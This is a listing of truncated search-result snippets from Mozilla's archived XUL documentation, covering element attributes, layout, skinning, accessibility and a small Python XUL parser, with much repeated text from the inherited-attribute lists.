that is displayed when the dialog is opened. the second is a filter that indicates the list of file types that are displayed in the dialog. this would be used, for example, to hide all but .html files. you can set the default directory by setting the displaydirectory property of the file picker object to a directory. the directory should be an nsilocalfile object. if you do not set this, a sui
table default will be selected for you. to add filters, call the appendfilters() function to set the file types that you wish to have displayed. fp.appendfilters(nsifilepicker.filterhtml | nsifilepicker.filterimages); fp.appendfilters(nsifilepicker.filtertext | nsifilepicker.filterall); the first example will add filters for html and for image files. the user will only be able to select those type...
Property Files - Archive of obsolete content
however, a script does not get parsed for entities. in addition, you may wish to display a message which is generated from a script, if, for example, you do not know the exact text to be displayed. for this purpose, property files can be used. a property file contains a set of strings. you will find property files alongside the dtd files with a .properties extension. properties in the file are declared with the syntax name=value. ...
Scroll Bars - Archive of obsolete content
e scrollbar tag. some elements, such as text boxes, will also add scroll bars as necessary when the content inside is too large. in this section, we'll discuss creating a stand-alone scroll bar. the user will set the value by adjusting the scroll bar. you probably won't use this too often. a scroll bar is made up of several parts: the slider, which is the main part of the scroll bar with the adjus
table box, and the two arrow buttons on the end. a scroll bar creates all of these elements automatically. the syntax of a scroll bar is as follows: <scrollbar id="identifier" orient="horizontal" curpos="20" maxpos="100" increment="1" pageincrement="10"/> the attributes are as follows: id the unique identifer of the scroll bar orient this specifi...
Skinning XUL Files by Hand - Archive of obsolete content
lict with the many menu style definitions in the global skin -- makes all xul menus appear with a one pixel border, a light blue background, and 10 point fonts: menu { border: 1px; background-color: lightblue; font-size: 10pt; } in addition to these basic element style rules, css also provides for the application of style information to classes of elements, and element ids. ...
Stack Positioning - Archive of obsolete content
width of the top-most hbox will be 400px: <stack width="600"> <hbox flex="1"> <!-- content --> </hbox> <hbox left="0" right="200" > <!-- some content here. --> </hbox> </stack> in some case, setting the width or height this way may even be necessary because using the width/height attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredic
table and undesireable results. the next section describes tabboxes which are like decks but provide their own navigation. « previousnext » ...
The Box Model - Archive of obsolete content
s, you can control the layout of a window. although a box is the fundamental part of xul element layout, it follows a few very simple rules. a box can lay out its children in one of two orientations, either horizontally or vertically. a horizontal box lines up its elements horizontally and a vertical box orients its elements vertically. you can think of a box as one row or one column from an html
table. various attributes placed on the child elements in addition to some css style properties control the exact position and size of the children. box elements the basic syntax of a box is as follows: <hbox> <!-- horizontal elements --> </hbox> <vbox> <!-- vertical elements --> </vbox> the hbox element is used to create a horizontally oriented box. each element placed in the hbox will be placed...
XBL Example - Archive of obsolete content
r to cycle through the objects while a text widget between the buttons will display the current page. you could put anything within the pages, however, this widget might be useful for a set of images. we'll call this a slideshow element. content of the slideshow first, let's determine what elements need to go in the xbl content. because we want page flipping, a deck element would be the most sui
table to hold the page content. the content of the pages will be specified in the xul file, not in xbl, but we'll need to add it inside the deck. the children tag will need to be used. along the bottom, we'll need a button to go the previous page, a label to display the current page number, and a button to go to the next page. example 1 : source <binding id="slideshow"> <content> <xul:vbox flex...
Widget Cheatsheet - Archive of obsolete content
see the periodic
table of xul for more examples. menu <menu value="menu widget"> <menupopup> <menuitem value="foo" /> <menuitem value="shoo" /> <menu value="sub"> <menupopup> <menuitem value="subitem" /> </menupopup> </menu> </menupopup> </menu> <menulist value="menulist element"> <menupopup> <menuitem value="foo" /> <menuitem value="shoo" /> <menuitem value="boo" /> </menupopup> </menulist> <menubutton src="back.gif"> <menupopup> <menuitem value="foo" /> <menuitem value="shoo" /> <menuitem value="boo" /> </menupopup> </menubutton> ...
Writing Skinnable XUL and CSS - Archive of obsolete content
skin explicitly. this is done using an @import directive placed at the top of the file. @import url(chrome://global/skin/) ... rest of skin file ... css files for a skin fall into two categories: base skin files and derived skin files. css files that import another skin file are calledderived skin files. css files that don't import another skin file are calledbase skin files. there is one no
table exception to this rule. skin files that don't import any other skin files, but that are only intended to be used in the context of another component's skin are also considered derived skin files, since they are implicitly importing information from the other component's skin. these sorts of files are typically used with reusable overlayable widgets (e.g., the sidebar). your css file should never...
XUL Changes for Firefox 1.5 - Archive of obsolete content
for other changes you should be aware of, see adapting xul applications for firefox 1.5. <scrollcorner> a <scrollcorner> element is added which is used to create the small box in the intersection of the horizontal and vertical scrollbars. <richlistbox> and <richlistitem> the <richlistbox> and <richlistitem> elements are used for creating lists containing arbitrary content. this element works similarly to the <listbox> which is designed primarily for lists of textual items. the <richlistbox> supports much of the same api as the <listbox> and single items, created with the <richlistitem> element may be selected. see xul:richlistbox for more information. ...
XUL Parser in Python/source - Archive of obsolete content
,val in a.items(): el_list[name][strip(attr)] = strip(val) def syntax_error(self, message): pass p = xulparser() cmd = 'dir /s /b *.xul' chrome_dir = 'c:\program files\netscape\netscape 6\chrome' os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file in files: file = file.strip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic
table of xul elements</h3>') w.write('<
table><style>.head {font-weight: bold; background-color: lightgrey;}</style>') elements = el_list.keys() elements.sort() for item in elements: w.write('<tr><td class="head">' + item + '</td></tr>\n') for a in el_list[item]: w.write('<tr><td class="at">' + a + '</td>') w.write('</
table></html>\n') w.close() ...
XUL element attributes - Archive of obsolete content
ould appear when the user clicks on the element. position type: string (representing an integer) when an element is in an overlay, the position is an index where the child is inserted. the position is one-based, so use a value of 1 to place the element at the beginning. this attribute is ignored if either an insertbefore or insertafter attribute matches an element. preference-edi
table mozilla 1.8 type: boolean if true, the element may be used as one that modifies a preference in a prefwindow. the preference attribute may be used to connect to a preference element. this is useful for custom elements implemented in xbl. the element should fire change, command, or input event when the value is changed so that the preference will update accordingly. see the pref system docum...
XUL accessibility guidelines - Archive of obsolete content
zilla developer center. mozilla.support.accessibility. mozilla accessibility newsgroup. #accessibility. accessibility channel on mozilla's irc server. guidelines keyboard access keyboard access is important to users who can't use a mouse. many screen reader users and those with physical disabilities rely on the keyboard as their primary input tool. these users require easy, predic
table, and well-documented keyboard control. tab order provide a logical tab order and ensure that users can navigate all content using a keyboard. by default, the tab order is determined by the order of the elements in the underlying code. it can also be set programmatically with the tabindex attribute if needed, but this should be done sparingly and thoroughly tested whenever it is used. the naviga...
XUL and RDF - Archive of obsolete content
he foundation of xul. this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model. the second section describes the xul/rdf architecture itself and outlines enhancements to the xul language in order to allow the markup language to reference local data and to indicate how and when it would like to be annota
table with local data. ...
XML - Archive of obsolete content
all you need to build any interface. xul is timely. only quite recently have the standards out of which xul was fashioned matured to a level where they might really be powerful and flexible enough to support the sort of development that xul provides for. as the figure below indicates, xul is an amalgam of these different standards: css for styling or "skinning", dom for the object model and scrip
table access, javascript for the linking and behavior, rdf for resources, xml for the structure, and html for the content and some little extras. in this way, it's more like a developmentplatform or framework than a user interface language, particularly when it's used with related cross-platform technologies like xpcom, which also went into mozilla. gecko reads xul and makes interfaces just as our sp...
XUL Coding Style Guidelines - Archive of obsolete content
introduction xul, pronounced as "zool", stands for "xml-based user interface language", is a cross platform way of describing user interface. it could contain xul specific element types for ui controls, html4 markups for content data, and even javascript for user event handling. to make xul files easy to read and maintain, localization friendly, and por
table across user agents, we need to have a set of coding style guidelines to ensure our objectives are achievable. the author has collected a set of guidelines from various sources listed in the references section. while some of the guidelines are recommended practices, the others are mandatory. xml, xul, html, and xhtml guidelines the following are considered good coding style for xml/xul documents. disobeying them might not cause an...
action - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, men...
assign - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
bbox - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
binding - Archive of obsolete content
it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the propert...
bindings - Archive of obsolete content
it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the property. ...
box - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
broadcaster - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
broadcasterset - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
button - Archive of obsolete content
see the appearance of the different icons on some available platforms. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. open type: boolean for the menu type buttons, the open attribute is set to true when the menu is open. the open attribute is not present if the menu is closed. orient type: one of the values below used to specify whether the children of the element are ori...
caption - Archive of obsolete content
menupopup > menuitem, menupopup > menu { max-width: none; } image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. properties accesskey type: character ...
checkbox - Archive of obsolete content
uitems, is normally preferred to use of the attribute, as it may need to update additional state. src type: uri set this to an uri pointing to an image to appear in the checkbox. if this attribute is left out, no image appears. you can have both an image and a label. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. preference type: id connects the element to a corresponding preference. this attribute only has any effect when used inside a prefwindow. more information is available in the preferences system article. tabindex type: integer the tab order of the element. ...
column - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
columns - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
command - Archive of obsolete content
t will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. oncommand type: script code this event handler is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. reserved type: string this attribute applies to a command element. ...
conditions - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
dropmarker - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collaps...
grid - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
grippy - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
groupbox - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collaps...
hbox - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
keyset - Archive of obsolete content
if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond t...
label - Archive of obsolete content
ent. control type: element id gets and sets the value of the control attribute. crop type: string gets and sets the value of the crop attribute. disabled type: boolean gets and sets the value of the disabled attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
listcell - Archive of obsolete content
d to use of the attribute, as it may need to update additional state. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. type type: string this attribute is reserved for use by anonymous children of listitem; do not use. properties disabled type: boolean gets and sets the value of the disabled attribute. inherited properties align, , allowevents, , b...
listcol - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
listcols - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
observes - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
page - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
popupset - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
preference - Archive of obsolete content
reset() return type: no return value resets the preference to its default value. for a textbox it also clears the undo transaction list (gecko 1.9). type getelementvalue(in domelement element); retrieves the value that should be written to preferences based on the current state of the supplied element. this function calls onsynctopreference. boolean iselementedi
table(in domelement element) returns true, if the given element is "edi
table" (see below). void setelementvalue(in domelement element); initializes the supplied element from the value stored in the preference. this function calls onsyncfrompreference. void updateelements(); update all elements that observe this preference. inherited methods addeventlistener(), appendchild(), blur, click, clo...
preferences - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
prefpane - Archive of obsolete content
uri will be opened using the help viewer when the help button is pressed. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. onpaneload type: script code code defined here is called when the pane has been loaded, much like the load event for a window. selected type: boolean this attribute will be set to true for the currently selected prefpane. to...
query - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
queryset - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
resizer - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
row - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
rows - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
script - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
scrollbox - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
scrollcorner - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
separator - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
spacer - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
spinbuttons - Archive of obsolete content
